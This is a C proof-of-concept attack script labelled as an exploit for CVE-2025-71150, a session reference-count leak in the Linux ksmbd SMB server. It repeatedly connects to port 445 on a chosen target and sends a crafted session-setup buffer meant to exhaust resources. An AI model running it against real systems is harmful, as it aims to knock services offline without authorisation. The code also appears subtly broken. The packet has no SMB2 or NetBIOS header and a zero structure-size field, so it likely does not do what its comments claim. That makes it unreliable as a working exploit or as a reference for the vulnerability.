// CVE-2025-71150 PoC - Reference Count Leak in ksmbd session lookup
// This PoC demonstrates triggering the reference count leak condition
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define SMB2_PORT 445
#define MAX_REQUESTS 10000
// Simulate SMB2 session lookup with invalid session state
int trigger_session_lookup_leak(int sock) {
// SMB2 Session Setup Request with invalid session
unsigned char session_setup_req[] = {
0x00, 0x00, 0x00, 0x00, // Structure size
0x01, 0x00, // Flags
0x00, 0x00, // Mode
0x00, 0x00, 0x00, 0x00, // Capabilities
0x00, 0x00, 0x00, 0x00, // Channel
0x00, 0x00, // Security blob length
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 // Previous session id
};
// Send malformed session setup to trigger invalid session state
send(sock, session_setup_req, sizeof(session_setup_req), 0);
return 0;
}
int main(int argc, char *argv[]) {
int sock;
struct sockaddr_in server;
char *target_ip = argv[1] ? argv[1] : "127.0.0.1";
printf("[*] CVE-2025-71150 PoC - ksmbd session refcount leak\n");
printf("[*] Target: %s:%d\n", target_ip, SMB2_PORT);
for (int i = 0; i < MAX_REQUESTS; i++) {
sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0) {
perror("[-] Socket creation failed");
return 1;
}
server.sin_family = AF_INET;
server.sin_port = htons(SMB2_PORT);
server.sin_addr.s_addr = inet_addr(target_ip);
if (connect(sock, (struct sockaddr *)&server, sizeof(server)) == 0) {
trigger_session_lookup_leak(sock);
}
close(sock);
if (i % 100 == 0) {
printf("[*] Sent %d requests...\n", i);
}
}
printf("[+] Completed %d session lookup attempts\n", MAX_REQUESTS);
return 0;
}